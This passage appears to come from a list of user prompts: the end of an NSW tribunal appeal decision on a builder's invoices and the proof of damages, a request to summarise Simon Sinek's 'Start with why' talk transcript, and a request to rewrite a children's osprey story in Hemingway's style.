of proof of damage;\n\nFailed to take into account the contractual provisions regarding responsibility for waterproofing; and\n\nFailed to give adequate reasons for concluding that the work referred to in the invoices was work required in consequence of the appellant’s breach of contract, that is “work required in order to bring the work into conformity with the contract”.\n\nThe appellant submitted that the only evidence that the builder’s work, the subject of the invoices, had anything to do with the windows, was in the wording of the invoices themselves and in contemporaneous emails from Mr Bannister’s father, who had apparently prepared the invoices.\n\nThe appellant submitted:\n\nThe fact that the invoices provide some sort of ‘breakdown of costs’ does not mean that any of those costs were incurred as a result of BW’s breach of contract. The Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nAlthough the Tribunal referred to the invoices as Y1-Y3, they were in fact identified as Annexures Y-7, Y-8, and Y-9. The three invoices were:\n\nAnnexure Y-7, in the amount of $10,908.70. The narration on this invoice described the work the subject of the invoice as “Remove existing defective windows, existing external blinds, cladding etc, and prepare openings for the new windows; Provide adequate flashing and install windows to openings. The invoice recorded that the work involved 68 hours of labour, and also included charges of $2,485 in respect of materials, the nature of which was not specified, and $250 for pump hire.\n\nAnnexure Y-8, in the amount of $10,007.39. The narration on this invoice described the work the subject of the invoice as “Continue installation of sheeting, cappings, moulding etc”. The labour involved was 83 hours over a period of about two weeks. The invoice also included a charge of $653.63 in respect of “materials” with no further detail.\n\nAnnexure Y-9, in the amount of $9,092.16. This invoice included two narrations describing the work the subject of the invoice. The first narration was “Complete remainder of external flashings, cappings, fix blinds, removal of scaffold” in respect of which 59 hours were charged. That narration was followed by a charge of $480 for unspecified materials. The second narration was “Relocated fan position, including blocking and support, relocating door handles to wet areas and patching”. The invoice included a further charge of $339 in respect of unspecified materials” and a second charge for labour of 14 hours. It was not clear from the invoice whether that labour related to the second narration as it appeared above the second narration.\n\nThe appellant acknowledged that the first invoice (Annexure Y-7 in the amount of $10,908.70) included the removal of existing windows and “prepare openings for the new windows” but submitted that “there is no breakdown in the invoice (or any other evidence) as to how many of the 68 hours [recorded on the invoice] was spent on these activities”.\n\nThe appellant submitted that “the cost of repairing or replacing cladding surrounding the window openings cannot have been the result of BW’s breach of contract”, and that there is no indication in the invoice as to how much labour was involved in this activity. The appellant noted that it cannot be inferred that the charge for pump hire resulted from any defect in the windows installed by the appellant.\n\nThe appellant submitted that the second invoice “on its face has nothing to do with replacing the BW windows with Wideline windows”.\n\nThe appellant submitted that the third invoice was dated 26 September, which was two and a half months after the last of the replacement windows had been installed. The appellant referred to evidence given by Mr Bannister that the reference to flashing in the invoices was a typographical error. The appellant further submitted that that there was “no evidence of any causative link” between the work identified in the invoice and a breach of contract by the appellant.\n\nThe appellant further submitted that, insofar as the Tribunal had held that Mr Bannister “was not cross-examined in a way that causes [the Tribunal] to reject his evidence” that was not to the point, as Mr Bannister had not given evidence drawing any connection between the invoices and the windows installed by the appellant.\n\nThe respondents submitted:\n\nNo evidence to counter the Respondents’ claim was tendered by the Appellant at the hearing at first instance or in this appeal to challenge the invoices, the scope of work of the builder or its relationship to any contractual obligations of the Appellant, whatever they may have been at the relevant time. The Member could only decide on the matters and evidence put before her and therefore this cannot be an error of law.\n\nFurther, the Appellant has not adduced any evidence to support its assertion that the Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nThe Appellant’s legal representative had the opportunity to cross examine Jackson Bannister in relation to the invoices if the Appellant had concerns with these invoices. The Respondents submit that in such circumstances and in the absence of rebuttal evidence from the Appellant there is no error or law.\n\nIn reply, the appellant submitted that the appellant’s challenge to the award of the amount of the invoices was not on the basis of their quantum (amount) but rather on the basis that the work set out in the invoices was not the result of the appellant’s breach of contract; that is, it was not the cost of rectifying work for which the appellant was responsible and was not work required to achieve “conformity with the contract”.\n\nThe appellant submitted that, even though work which was clearly part of the rectification of the appellant’s work, such as removing the windows installed by the appellant, was included in the first invoice, “the respondents bore the onus of proof in respect of the necessary apportionment of the invoice” and noted that the Tribunal had not attempted any apportionment exercise.\n\nThe appellant further submitted that the installation of the new windows had been carried out by Wideline in accordance with its contract to “supply and install”. The appellant referred to an email from Mr Bannister’s father, Neil Bannister, dated 28 June 2019, which stated “so far our teams have not really assisted in the installation as there is not much to this work”.\n\nThe appellant finally submitted that it was impossible to tell from the invoices whether the work done by the builder was in consequence of the removal and reinstallation of windows in January 2019 or the removal of the appellant’s windows and the installation of the Wideline windows in June or July 2019. The appellant referred to the evidence of Mr Sibilia that “due to the extensive damage caused by the respondent in reinstalling the three replacement windows, building rectification work was required” and pointed out that clause 2(b) of the Deed made this damage the respondents’ responsibility.\n\nConsideration – Ground 5\n\nThe measure of damages for breach of contract is the amount required to put the innocent party into the position they would have been if the contract had been performed. In respect of defective building work, the measure of damages is the amount required to bring the work into conformity with the contract, provided that is a reasonable course to adopt: Bellgrove v Eldridge (1954) 90 CLR 613 at 617-618.\n\nThe onus of proving that measure of damages lies upon the party seeking to recover damages.\n\nWe consider that the Tribunal made an error of law in finding the appellant liable for the amount of the builder’s invoices. The Tribunal did not acknowledge that the onus of proving that the invoices reflected costs incurred by reason of the appellant’s breach of statutory warranties lay upon the respondents.\n\nThe invoices did not of themselves establish that they reflected such costs and Mr Sibilia’s, evidence, to which the appellant referred in its submissions in reply, suggested otherwise.\n\nAlthough the first invoice clearly includes the removal of the windows, it also includes other work and does not identify the cost of the work involved in removing the windows. As the appellant submitted, the onus of establishing the appropriate apportionment of that invoice lay upon the respondents.\n\nThe balance of the first invoice and the second and third invoices do not indicate how any of the work for which payment was claimed was related to the replacement of the defective windows.\n\nThere was no onus on the appellant to undertake cross-examination of Mr Bannister, the builder, to clarify the extent to which the invoices reflected work necessary to “bring the work into conformity with the contract”. Rather, the fact that the respondents did not lead evidence from Mr Bannister to clarify the content of his invoices, and to identify specifically what parts of the invoices related to work involved in the removal and replacement of the windows, gave rise to an inference that Mr Bannister’s evidence on that topic would not have assisted the respondents.\n\nAs Handley JA held in Commercial Union Assurance Company of Australia Ltd v Ferrcom Pty Ltd (1991) 11 NSWLR 389 at 418F-G:\n\n… I can see no reason why those principles [arising from Jones v Dunkel] should not apply when a party by failing to examine a witness in chief on some topic, indicates “as the most natural inference that the party fears to do so”. This fear is then “some evidence” that such examination in chief “would have exposed facts unfavourable to the party”: see Jones v Dunkel (at 320-321) per Windeyer J. Moreover in Ex parte Harper; Re Rosenfield [1964-5] NSWR 58 at 62, Asprey J, citing Marks v Thompson 1 NYS 2d 215 (1937) at 218, held that inferences could not be drawn in favour of a party that called a witness who could have given direct evidence when that party refrained from asking the crucial questions.\n\nMr Bannister’s affidavit addressed only the testing he had undertaken to assess whether the windows installed by the appellant were leaking. The entirety of his evidence in chief concerning the invoices was given in response to a question from Mr Stack, the respondents’ solicitor:\n\nMR STACK – Okay. Now, did you or someone on your behalf prepare a series of invoices for work performed and the dates of 27 June, 12 July, and 27 September 2019?\n\nMR BANNISTER – Yes.\n\nIn our view, it is clear that the evidence tendered by the respondents was not sufficient to establish that the work the subject of the invoices was work which was required to bring the work into conformity with the contract or to establish the value of the work which was such work. That conclusion is strengthened by the inference to be drawn by reason of the fact that Mr Bannister was called to give evidence and was not asked questions to establish that the work the subject of the invoices was related to the replacement of the windows.\n\nAccordingly, the Tribunal’s decision to the extent that it awards the respondents the amount of the invoices must be set aside. In light of that conclusion it is not necessary to deal with grounds 2 or 3, which, as we have noted above, were limited to a challenge to the award of the amount of the invoices.\n\nSections 80 and 81 of the Civil and Administrative Tribunal Act 2013 (NSW) permit the Appeal Panel to exercise all the functions of the Tribunal at first instance and to vary a decision rather than remitting it for further hearing.\n\nWe do not consider it appropriate to remit the matter to the Tribunal for re-determination, as it would not be appropriate to allow the parties to file further evidence on any remittal hearing and, in our view, the evidence which was before the Tribunal was clearly insufficient to establish any causal link between the defects in the windows installed by the appellant and the amounts charged by the builder in the three invoices. In those circumstances it is, in our view, appropriate to vary the judgment to exclude the amount of the three invoices, that is $29,601.69.' -'please turn this video transcript into a written and bulleted summary \n\nTranscriber: Capa Girl Reviewer: Wendy Morales\n0:02\nSo, where do you start when you have a program that\'s about integrating lives with passions?\n0:08\nWell, you start with "why."\n0:10\nWhy?\n0:11\nAnd that kicks us off for the first speaker tonight - Simon Sinek\n0:17\nand his talk "Start with why."\n0:22\nSimon Sinek: We assume, even, we know why we do what we do.\n0:28\nBut then how do you explain when things don\'t go as we assume?\n0:32\nOr better, how do you explain when others are able to achieve things\n0:37\nthat seem to defy all of the assumptions?\n0:39\nFor example: why is Apple so innovative?\n0:42\nYear after year, after year,\n0:44\nthey\'re more innovative than all their competition.\n0:48\nAnd yet, they\'re just a computer company.\n0:49\nThey\'re just like everyone else.\n0:51\nThey have the same access to the same talent,\n0:53\nthe same agencies, the same consultants, the same media.\n0:56\nThen why is it that they seem to have something different?\n1:01\nWhy is it that Martin Luther King led the Civil Rights Movement?\n1:05\nHe wasn\'t the only man who suffered in a pre-civil rights America,\n1:09\nand he certainly wasn\'t the only great orator of the day.\n1:11\nWhy him?\n1:13\nAnd why is it that the Wright brothers were able to figure out\n1:17\ncontrolled, powered man flight when there were certainly other teams\n1:21\nwho were better qualified, better funded --\n1:24\nand they didn\'t achieve powered man flight,\n1:27\nthe Wright brothers beat them to it.\n1:29\nThere\'s something else at play here.\n1:32\nAbout three and a half years ago I made a discovery.\n1:36\nAnd this discovery profoundly changed my view\n1:40\non how I thought the world worked,\n1:42\nand it even profoundly changed the way in which I operate in it.\n1:48\nAs it turns out, there\'s a pattern.\n1:50\nAs it turns out, all the great and inspiring leaders and organizations in the world --\n1:55\nwhether it\'s Apple or Martin Luther King or the Wright brothers --\n1:58\nthey all think, act and communicate the exact same way.\n2:02\nAnd it\'s the complete opposite to everyone else.\n2:06\nAll I did was codify it, and it\'s probably the world\'s simplest idea.\n2:12\nI call it the golden circle.\n2:22\nWhy? How? What?\n2:25\nThis little idea explains why some organizations and some leaders\n2:29\nare able to inspire where others aren\'t.\n2:31\nLet me define the terms really quickly.\n2:34\nEvery single person, every single organization on the planet\n2:37\nknows what they do. 100 percent.\n2:39\nSome know how they do it,\n2:42\nwhether you call it your differentiated value proposition\n2:44\nor your proprietary process or your USP.\n2:47\nBut very, very few people or organizations know why they do what they do.\n2:52\nAnd by "why" I don\'t mean "to make a profit."\n2:54\nThat\'s a result. It\'s always a result.\n2:56\nBy "why" I mean: What\'s your purpose?\n2:58\nWhat\'s your cause? What\'s your belief?\n3:00\nWhy does your organization exist?\n3:04\nWell, as a result, the way we think, the way we act,\n3:06\nthe way we communicate is from the outside in.\n3:08\nIt\'s obvious. We go from the clearest thing to the fuzziest thing.\n3:11\nBut the inspired leaders and the inspired organizations --\n3:15\nregardless of their size, regardless of their industry --\n3:19\nall think, act and communicate from the inside out.\n3:23\nLet me give you an example.\n3:25\nI use Apple because they\'re easy to understand and everybody gets it.\n3:28\nIf Apple were like everyone else,\n3:31\na marketing message from them might sound like this:\n3:35\n"We make great computers.\n3:37\nThey\'re beautifully designed, simple to use and user friendly.\n3:41\nWanna buy one?" "Meh."\n3:44\nAnd that\'s how most of us communicate.\n3:46\nThat\'s how most marketing is done, that\'s how most sales is done\n3:48\nand that\'s how most of us communicate interpersonally.\n3:50\nWe say what we do, we say how we\'re different or how we\'re better\n3:53\nand we expect some sort of a behavior,\n3:55\na purchase, a vote, something like that.\n3:57\nHere\'s our new law firm.\n3:59\nWe have the best lawyers with the biggest clients,\n4:00\nwe always perform for our clients who do business with us.\n4:03\nHere\'s our new car. It gets great gas mileage,\n4:05\nit has leather seats, buy our car. But it\'s uninspiring.\n4:10\nHere\'s how Apple actually communicates.\n4:14\n"Everything we do, we believe in challenging the status quo.\n4:19\nWe believe in thinking differently.\n4:23\nThe way we challenge the status quo\n4:25\nis by making our products beautifully designed,\n4:27\nsimple to use and user friendly.\n4:29\nWe just happen to make great computers.\n4:32\nWanna buy one?"\n4:34\nTotally different right? You\'re ready to buy a computer from me.\n4:36\nAll I did was reverse the order of the information.\n4:39\nPeople don\'t buy what you do they buy why you do it.\n4:41\nPeople don\'t buy what you do they buy why you do it.\n4:44\nThis explains why every single person in this room\n4:48\nis perfectly comfortable buying a computer from Apple.\n4:51\nBut we\'re also perfectly comfortable buying an MP3 player from Apple,\n4:55\nor a phone from Apple, or a DVR from Apple.\n4:58\nBut, as I said before, Apple\'s just a computer company.\n5:01\nThere\'s nothing that distinguishes them structurally from any of their competitors.\n5:04\nTheir competitors are all equally qualified to make all of these products.\n5:08\nIn fact, they tried.\n5:09\nA few years ago, Gateway came out with flat screen TVs.\n5:12\nThey\'re eminently qualified to make flat screen TVs.\n5:15\nThey\'ve been making flat screen monitors for years.\n5:17\nNobody bought one.\n5:19\nDell came out with MP3 players and PDAs, and they make great quality products,\n5:25\nand they can make perfectly well-designed products --\n5:28\nand nobody bought one.\n5:29\nIn fact, talking about it now, we can\'t even imagine\n5:31\nbuying an MP3 player from Dell.\n5:33\nWhy would you buy an MP3 player from a computer company?\n5:35\nBut we do it every day.\n5:37\nPeople don\'t buy what you do, they buy why you do it.\n5:40\nThe goal is not to do business with everybody who needs what you have.\n5:45\nThe goal is to do business with people who believe what you believe.\n5:51\nHere\'s the best part:\n5:52\nNone of what I\'m telling you is my opinion.\n5:55\nIt\'s all grounded in the tenets of biology.\n5:57\nNot psychology, biology.\n6:00\nIf you look at a cross-section of the human brain,\n6:01\nlooking from the top down,\n6:03\nwhat you see is the human brain is actually broken into three major components\n6:06\nthat correlate perfectly with the golden circle.\n6:10\nOur newest brain, our Homo Sapien brain,\n6:12\nour neocortex, corresponds with the "what" level.\n6:16\nThe neocortex is responsible for all of our\n6:18\nrational and analytical thought and language.\n6:22\nThe middle two sections make up our limbic brains,\n6:25\nand our limbic brains are responsible for all of our feelings,\n6:28\nlike trust and loyalty.\n6:31\nIt\'s also responsible for all human behavior,\n6:34\nall decision-making,\n6:35\nand it has no capacity for language.\n6:38\nIn other words, when we communicate from the outside in,\n6:41\nyes, people can understand vast amounts of complicated information\n6:45\nlike features and benefits and facts and figures.\n6:47\nIt just doesn\'t drive behavior.\n6:49\nWhen we can communicate from the inside out,\n6:51\nwe\'re talking directly to the part of the brain that controls behavior,\n6:55\nand then we allow people to rationalize it\n6:58\nwith the tangible things we say and do.\n7:00\nThis is where gut decisions come from.\n7:02\nYou know, sometimes you can give somebody all the facts and figures,\n7:06\nand they say, "I know what all the facts and details say, but it just doesn\'t feel right."\n7:10\nWhy would we use that verb, it doesn\'t "feel" right?\n7:12\nBecause the part of the brain that controls decision-making doesn\'t control language.\n7:16\nAnd the best we can muster up is, "I don\'t know. It just doesn\'t feel right."\n7:20\nOr sometimes you say you\'re leading with your heart,\n7:22\nor you\'re leading with your soul.\n7:23\nWell, I hate to break it to you, those aren\'t other body parts\n7:25\ncontrolling your behavior.\n7:27\nIt\'s all happening here in your limbic brain,\n7:29\nthe part of the brain that controls decision-making and not language.\n7:33\nBut if you don\'t know why you do what you do,\n7:35\nand people respond to why you do what you do,\n7:39\nthen how will you ever get people to vote for you,\n7:42\nor buy something from you, or, more importantly, be loyal\n7:46\nand want to be a part of what it is that you do?\n7:49\nAgain, the goal is not just to sell to people who need what you have,\n7:52\nthe goal is to sell to people who believe what you believe.\n7:55\nThe goal is not just to hire people who need a job,\n7:59\nit\'s to hire people who believe what you believe.\n8:02\nI always say that, you know,\n8:04\nif you hire people just because they can do a job, they\'ll work for your money,\n8:10\nbut if you hire people who believe what you believe,\n8:11\nthey\'ll work for you with blood and sweat and tears.\n8:14\nAnd nowhere else is there a better example of this\n8:16\nthan with the Wright brothers.\n8:18\nMost people don\'t know about Samuel Pierpont Langley.\n8:21\nAnd back in the early 20th century,\n8:24\nthe pursuit of powered man flight was like the dot com of the day.\n8:27\nEverybody was trying it.\n8:29\nAnd Samuel Pierpont Langley had, what we assume,\n8:32\nto be the recipe for success.\n8:34\nI mean, even now, when you ask people,\n8:36\n"Why did your product or why did your company fail?"\n8:39\nAnd people always give you the same permutation\n8:40\nof the same three things:\n8:42\nunder-capitalized, the wrong people, bad market conditions.\n8:45\nIt\'s always the same three things, so let\'s explore that.\n8:49\nSamuel Pierpont Langley was given 50,000 dollars by the War Department\n8:53\nto figure out this flying machine.\n8:55\nMoney was no problem.\n8:57\nHe held a seat at Harvard and worked at the Smithsonian\n9:01\nand was extremely well-connected.\n9:02\nHe knew all the big minds of the day.\n9:04\nHe hired the best minds money could find\n9:08\nand the market conditions were fantastic.\n9:10\nThe New York Times followed him around everywhere,\n9:13\nand everyone was rooting for Langley.\n9:16\nThen how come we\'ve never heard of Samuel Pierpont Langley?\n9:19\nA few hundred miles away in Dayton Ohio,\n9:22\nOrville and Wilbur Wright,\n9:24\nthey had none of what we consider to be the recipe for success.\n9:28\nThey had no money, they paid for their dream\n9:30\nwith the proceeds from their bicycle shop,\n9:33\nnot a single person on the Wright brothers\' team had a college education,\n9:36\nnot even Orville or Wilbur,\n9:39\nand The New York Times followed them around nowhere.\n9:42\nThe difference was, Orville and Wilbur were driven by a cause,\n9:46\nby a purpose, by a belief.\n9:48\nThey believed that if they could figure out this flying machine,\n9:52\nit\'ll change the course of the world.\n9:55\nSamuel Pierpont Langley was different.\n9:57\nHe wanted to be rich, and he wanted to be famous.\n10:00\nHe was in pursuit of the result. He was in pursuit of the riches.\n10:04\nAnd lo and behold, look what happened.\n10:06\nThe people who believed in the Wright brothers\' dream\n10:09\nworked with them with blood and sweat and tears.\n10:12\nThe others just worked for the paycheck.\n10:14\nAnd they tell stories of how every time the Wright brothers went out,\n10:17\nthey would have to take five sets of parts,\n10:19\nbecause that\'s how many times they would crash before they came in for supper.\n10:23\nAnd, eventually, on December 17th 1903,\n10:27\nthe Wright brothers took flight,\n10:30\nand no one was there to even experience it.\n10:32\nWe found out about it a few days later.\n10:36\nAnd further proof that Langley was motivated by the wrong thing:\n10:40\nThe day the Wright brothers took flight, he quit.\n10:43\nHe could have said, "That\'s an amazing discovery, guys,\n10:46\nand I will improve upon your technology," but he didn\'t.\n10:50\nHe wasn\'t first, he didn\'t get rich,\n10:52\nhe didn\'t get famous so he quit.\n10:54\nPeople don\'t buy what you do, they buy why you do it.\n10:57\nAnd if you talk about what you believe,\n10:59\nyou will attract those who believe what you believe.\n11:01\nBut why is it important to attract those who believe what you believe?\n11:07\nSomething called the law of diffusion of innovation,\n11:09\nand if you don\'t know the law, you definitely know the terminology.\n11:12\nThe first two and a half percent of our population are our innovators.\n11:17\nThe next 13 and a half percent of our population are our early adopters.\n11:22\nThe next 34 percent are your early majority,\n11:24\nyour late majority and your laggards.\n11:28\nThe only reason these people buy touch tone phones\n11:29\nis because you can\'t buy rotary phones anymore.\n11:31\n(Laughter)\n11:34\nWe all sit at various places at various times on this scale,\n11:37\nbut what the law of diffusion of innovation tells us\n11:40\nis that if you want mass-market success\n11:43\nor mass-market acceptance of an idea,\n11:45\nyou cannot have it until you achieve this tipping point,\n11:49\nbetween 15 and 18 percent market penetration, and then the system tips.\n11:55\nAnd I love asking businesses, "What\'s your conversion on new business?"\n11:58\nAnd they love to tell you, "Oh, it\'s about 10 percent," proudly.\n12:00\nWell, you can trip over 10 percent of the customers.\n12:02\nWe all have about 10 percent who just "get it."\n12:04\nThat\'s how we describe them, right?\n12:05\nThat\'s like that gut feeling, "Oh, they just get it."\n12:07\nThe problem is: How do you find the ones that get it\n12:10\nbefore you\'re doing business with them versus the ones who don\'t get it?\n12:13\nSo it\'s this here, this little gap that you have to close,\n12:18\nas Jeffrey Moore calls it, "Crossing the Chasm" --\n12:20\nBecause, you see, the early majority will not try something\n12:24\nuntil someone else has tried it first.\n12:28\nAnd these guys, the innovators and the early adopters,\n12:31\nthey\'re comfortable making those gut decisions.\n12:33\nThey\'re more comfortable making those intuitive decisions\n12:36\nthat are driven by what they believe about the world\n12:40\nand not just what product is available.\n12:42\nThese are the people who stood in line for 6 hours\n12:45\nto buy an iPhone when they first came out,\n12:47\nwhen you could have just walked into the store the next week\n12:49\nand bought one off the shelf.\n12:50\nThese are the people who spent 40,000 dollars\n12:52\non flat screen TVs when they first came out,\n12:55\neven though the technology was substandard.\n12:58\nAnd, by the way, they didn\'t do it\n12:59\nbecause the technology was so great, they did it for themselves.\n13:03\nIt\'s because they wanted to be first.\n13:06\nPeople don\'t buy what you do, they buy why you do it\n13:08\nand what you do simply proves what you believe.\n13:12\nIn fact, people will do the things that prove what they believe.\n13:16\nThe reason that person bought the iPhone in the first six hours,\n13:21\nstood in line for six hours,\n13:23\nwas because of what they believed about the world,\n13:25\nand how they wanted everybody to see them:\n13:27\nThey were first.\n13:28\nPeople don\'t buy what you do, they buy why you do it.\n13:31\nSo let me give you a famous example,\n13:34\na famous failure and a famous success of the law of diffusion of innovation.\n13:37\nFirst, the famous failure.\n13:39\nIt\'s a commercial example.\n13:41\nAs we said before, a second ago, the recipe for success is\n13:44\nmoney and the right people and the right market conditions.\n13:46\nRight? You should have success then.\n13:48\nLook at TiVo.\n13:50\nFrom the time TiVo came out about 8 or nine 9 ago to this current day,\n13:54\nthey are the single highest-quality product on the market,\n13:58\nhands down, there is no dispute.\n14:00\nThey were extremely well-funded.\n14:02\nMarket conditions were fantastic.\n14:04\nI mean, we use TiVo as verb.\n14:06\nI TiVo stuff on my piece of junk Time Warner DVR all the time.\n14:11\nBut TiVo\'s a commercial failure.\n14:14\nThey\'ve never made money.\n14:16\nAnd when they went IPO, their stock was at about 30 or 40 dollars\n14:20\nand then plummeted, and it\'s never traded above 10.\n14:22\nIn fact, I don\'t think it\'s even traded above 6, except for a couple of little spikes.\n14:27\nBecause you see, when TiVo launched their product\n14:29\nthey told us all what they had.\n14:32\nThey said, "We have a product that pauses live TV,\n14:35\nskips commercials, rewinds live TV\n14:38\nand memorizes your viewing habits without you even asking."\n14:43\nAnd the cynical majority said, "We don\'t believe you.\n14:47\nWe don\'t need it. We don\'t like it. You\'re scaring us."\n14:51\nWhat if they had said,\n14:53\n"If you\'re the kind of person who likes to have total control\n14:58\nover every aspect of your life, boy, do we have a product for you.\n15:04\nIt pauses live TV, skips commercials, memorizes your viewing habits, etc., etc."\n15:09\nPeople don\'t buy what you do, they buy why you do it.\n15:10\nAnd what you do simply serves as the proof of what you believe.\n15:15\nNow let me give you a successful example of the law of diffusion of innovation.\n15:21\nIn the summer of 1963, 250,000 people showed up\n15:26\non the mall in Washington to hear Dr. King speak.\n15:31\nThey sent out no invitations, and there was no website to check the date.\n15:37\nHow do you do that?\n15:39\nWell, Dr. King wasn\'t the only man in America who was a great orator.\n15:44\nHe wasn\'t the only man in America who suffered in a pre-civil rights America.\n15:47\nIn fact, some of his ideas were bad.\n15:50\nBut he had a gift.\n15:52\nHe didn\'t go around telling people what needed to change in America.\n15:55\nHe went around and told people what he believed.\n15:57\n"I believe, I believe, I believe," he told people.\n16:01\nAnd people who believed what he believed\n16:03\ntook his cause, and they made it their own, and they told people.\n16:06\nAnd some of those people created structures\n16:09\nto get the word out to even more people.\n16:12\nAnd lo and behold, 250,000 people showed up\n16:15\non the right day, at the right time to hear him speak.\n16:19\nHow many of them showed up for him? Zero.\n16:26\nThey showed up for themselves.\n16:28\nIt\'s what they believed about America\n16:30\nthat got them to travel in a bus for 8 hours\n16:33\nto stand in the sun in Washington in the middle of August.\n16:36\nIt\'s what they believed, and it wasn\'t about black versus white:\n16:39\n25 percent of the audience was white.\n16:42\nDr. King believed that there are two types of laws in this world:\n16:45\nthose that are made by a higher authority and those that are made by man.\n16:49\nAnd not until all the laws that are made by man are consistent with the laws\n16:54\nthat are made by the higher authority will we live in a just world.\n16:57\nIt just so happened that the Civil Rights Movement\n16:59\nwas the perfect thing to help him bring his cause to life.\n17:04\nWe followed, not for him, but for ourselves.\n17:07\nAnd, by the way, he gave the "I have a dream" speech,\n17:09\nnot the "I have a plan" speech.\n17:12\n(Laughter)\n17:15\nListen to politicians now, with their comprehensive 12-point plans.\n17:17\nThey\'re not inspiring anybody.\n17:20\nBecause there are leaders and there are those who lead.\n17:23\nLeaders hold a position of power or authority,\n17:27\nbut those who lead inspire us.\n17:31\nWhether they\'re individuals or organizations, we follow those who lead,\n17:35\nnot because we have to, but because we want to.\n17:40\nWe follow those who lead, not for them, but for ourselves.\n17:45\nAnd it\'s those who start with "why" that have the ability\n17:51\nto inspire those around them or find others who inspire them.\n17:56\nThank you very much.' -"Please write this in the style of Hemingway: Looking out from the nest of this osprey HAWK family on a bright sunny morning Joey watched as a group of EAGLES fished off of a gleaming white sand bar gently lapped by blu-ish green waters of the bay. The EAGLES fluttered, hopped and scurried about in the bubbly white surf, their chatter and song filling the tropical sea air and Joey’s young mind. \n\nJoey was about the same age as the youthful EAGLES out there on the sand bar. Those EA-GLES had dark feathers like Joey as they had not developed the white head and tail feathers of the older bald EAGLES. Joey did not look at all like Livie, his brightly colored osprey sister who was older than Joey. \n\nJoey felt a gentle morning breeze as he looked out along his broad wings colored dark grey with white mottling. The breeze raised up the ends of the contour feathers along the leading edge of Joey’s wings and slightly ruffled his long wing tip primary feathers. Joey wondered if his wings would sustain his flight on great thermal air currents on his dream to soar all the way up to the top of the sky.\n\nAfter noontime Joey watched as the EAGLES lifted slowly upward in flapping flight high above their bay world of sand, sea, and tropical keys until they were soaring on warm upwelling thermal currents. With their wings fully outstretched they spiraled higher and higher upward.\n\nAs Joey watched the EAGLES with intense admiration they slowly soared through misty white vapor into a billowing and radiant cumulus cloud that floated above in the vast ocean of blue sky. Then all of the EAGLES disappeared into the cloud. \n\nJoey's head swam with dizzying visions of soaring way up there into white towering clouds. \n\n“One day soon I will surely soar to the top of the sky like those EAGLES,” thought Joey.\n\nThen Joey heard a rushing and fluttering of wing feathers and turned his head to see a long-winged bird turn into the wind and level out on a glide directly toward him. With its great wings fully outstretched and its tail fanned and lowered, this winsomely white bird cut a strik-ing figure as it loomed upon the nest. \n\nThe great bird stretched its head and long white legs with taloned feet forward and raised its wings up and back with long primary feathers splayed. The bird seized onto a thick branch at the edge of the nest and tipped forward unstably. Then it quickly rotated its wings revealing a distinctive bold patterning of brown and black across their undersides as the bird recovered to an upright position. \n\n“Ahoy there my little avian predator!” exclaimed the bird as she folded her long wings and set-tled into a resting position at the edge of the nest. \n\n“Hello Livie,” replied Joey still crouched in the thicket of the large protective nest.\n\n“And what kind of day is our youngest raptor having?” asked Joey’s sister Livie. \n\n“I have been watching the EAGLES, Livie,” replied Joey. “They were fishing, playing, and sunning out there on that sand bar and the key just beyond it. Then the EAGLES went soaring right up into those clouds.” \n\n“I want to soar up there to the top of the sky!” exclaimed Joey. “Would you like to go soaring with me, Livie?”\n\n“Sure Joey, in a while,” replied Livie. \n\nThen Joey began dragging a favorite stick across the nest bed. \n\n“You’re such a kid Joey!” exclaimed Livie as she hopped down into the nest and grabbed the other end of the stick with her bill engaging Joey in a friendly game of tug of war. \n\nJoey pulled his stick free from Livie's grasp and won the tug. Then Livie picked up a tuft of grass from the nest bed and playfully tossed it at Joey. \n\n“Oh Joey I remember you always romping and playing on the nest with some odd shaped sticks and sea shells,” said Livie. “Those were some of your favorite toys and you would spend count-less hours leaping upon them, pecking at them, caressing them, tossing them into the air and then catching them with your feet before they hit the nest.“\n\n“I know that Livie, but now I just want to go soaring. Will you go soaring with me?” asked Jo-ey.\n\n“All right Joey you’re on!” shouted Livie as she began flapping her wings and lifted off sky-ward.\n\n“That’s great!” exclaimed Joey, as he began flapping his wings and lifted off from the nest. Jo-ey heard the song of the heart rushing through his mind as the world became smaller below. \n\nBy now the clouds boiling up above the bay were indicating strong thermals in a sky laden with moisture which was energizing the thermals. The clouds were growing larger, bubbling and bursting upward with great speed. \n\nJoey and his sister Livie lifted up on broad wings high above their tropical nest key until they were soaring on wide upwelling thermal currents. They flapped and soared in the direction of some brilliant white clouds.\n\nAs Livie and Joey flew through shadows cast down below the clouds they felt the rush of ther-mal currents that were feeding into the growing cumulus clouds. \n\nWith their wings fully outstretched now Livie and Joey spiraled higher and higher until their nest key was just a small but shining emerald among the many green keys sprinkled off the southern tip of the Everglades across Florida Bay. \n\nAs they continued to soar upward on strong thermal currents, Livie and Joey headed toward a developing cumulus cloud that was billowing out in front of some darker clouds. \n\nAs the two youngsters approached the cloud, Joey exclaimed: “Wow, look at the top of that cloud bursting upwards!”\n\n“I see it Joey,” replied Livie.\n\nThe warm air currents were rushing up beneath their wings as Livie and Joey entered gray mist at the base of the cloud. “Don’t stiffen up! Stay relaxed Joey!” shouted Livie. \n\nThey soared through misty vapor into the billowing and radiant cumulus cloud. \n\n“Sharpen your turn and stay within the up draft!” shouted Livie as the strong thermal pushed them upward. \n\nJoey felt the exhilaration of the warm air pushing up under his wing and body feathers. Then he was jolted by a strong gust which ruffled his long wing-tip primary feathers and thrust up the ends of the contour feathers along the leading edge of his wings. \n\n“This is awesome!” yelled Joey as the thermal current pushed them higher and higher inside the cloud. \n\nBy now Joey could see feelers of lightening branching off in all directions above them. \n\nThen Joey and Livie were buffeted by strong wind turbulence inside the great cloud which tossed them around. \n\nJoey felt muscles and tendons straining and saw feathers bending out along his wings as he tried to recover stable flight. \n\nThe shearing winds of a down draft slammed into Joey pushing him downward. \nThen strong gusts superimposed upon the down draft tossed Joey upside down. \n\n“I’m out of control!” thought Joey as fear clouded his mind. \n\nBrilliant light surrounded Joey as he was thrust out the side of the great cumulus cloud.\n\n“Wow that was the greatest experience of my life!” shouted Joey as he looked around. Joey could not see Livie as dark gray cloud now whizzed past his face. So Joey flew toward home on a long flat glide. \n\nJoey spotted Livie already back at their key. There sat Livie perched on a branch above their nest overlooking the grassy green meadow at the center of the key. Joey flew directly toward her and alighted onto the nest. \n\n“How did you get back here so fast Livie?” asked Joey. \n\n“I tumbled and turned every which way right out the side of the cloud!” exclaimed Livie. \n\n“That’s exactly what happened to me and I loved it!” exclaimed Joey. “I want to soar even higher into the greatest cloud next time!” \n\n“Oh Joey you don’t know the half of it,” 